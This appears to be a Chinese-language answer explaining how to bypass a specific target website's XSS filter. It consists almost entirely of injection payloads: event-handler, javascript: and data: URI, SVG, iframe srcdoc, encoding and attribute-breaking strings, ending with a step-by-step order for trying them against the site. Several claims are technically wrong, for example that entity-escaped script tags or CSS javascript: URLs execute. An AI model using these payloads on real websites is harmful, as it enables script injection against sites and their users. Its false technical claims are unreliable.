绕过 XSS 过滤的方法取决于目标网站的过滤机制。针对该网站 过滤了 <script> 标签,但可能未过滤 事件属性 (onclick 等) 或其他 XSS 载荷,可以尝试以下几种绕过方式:


1. 事件属性绕过

虽然 <script> 被过滤,但 onclick 仍可执行:

<a href="#" onclick="alert('xss')">点击我</a>

如果 onclick 也被过滤,可以尝试:

<img src="x" onerror="alert('xss')">

或者:

<svg onload="alert('xss')"></svg>

2. 伪协议绕过

如果可以输入 href,可以尝试:

<a href="javascript:alert('xss')">点击我</a>

或者:

<iframe src="javascript:alert('xss')"></iframe>

如果 javascript: 被过滤,可以用 data: URI

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">点击我</a>

这会解码成 <script>alert('xss')</script>


3. CSS 方式

某些情况下,CSS 也能触发 XSS:

<div style="background:url(javascript:alert('xss'))">XSS</div>

或者:

body { background-image: url("javascript:alert('xss')"); }

4. SVG 绕过

SVG 在某些情况下可以执行 JavaScript:

<svg><script>alert('xss')</script></svg>

如果 <script> 被过滤,可以尝试:

<svg onload="alert('xss')"></svg>

5. 基于 DOM 操作的绕过

如果网站使用 JavaScript 解析输入,可以尝试:

<iframe srcdoc="<script>alert('xss')</script>"></iframe>

或者:

<input type="text" value="XSS" onfocus="alert('xss')">

6. HTML 实体编码绕过

有时网站过滤 <script> 但未过滤其 HTML 实体,可以尝试:

&lt;script&gt;alert('xss')&lt;/script&gt;

某些情况下,浏览器会自动解析实体字符并执行代码。


7. Unicode 编码绕过

某些 WAF 可能不解析 Unicode 编码:

<script>alert`\x78\x73\x73`</script>

或者:

\u003Cscript\u003Ealert('xss')\u003C/script\u003E

8. DOM XSS 绕过

如果网站使用 JavaScript innerHTML 解析输入,可以尝试:

"><script>alert('xss')</script>

或者:

"><img src="x" onerror="alert('xss')">

总结

如果 <script> 标签被拦截,建议依次尝试:

  1. 事件属性 (onclick, onerror, onload)
  2. 伪协议 (javascript:)
  3. SVG (<svg onload>)
  4. HTML 实体编码 (&lt;script&gt;)
  5. Unicode 编码 (\x78\x73\x73)
  6. DOM XSS ("><img src=x onerror=alert(1)>)

可以结合 字符编码、绕过 WAF、利用浏览器解析机制 等技巧,找到适合该网站的绕过方式。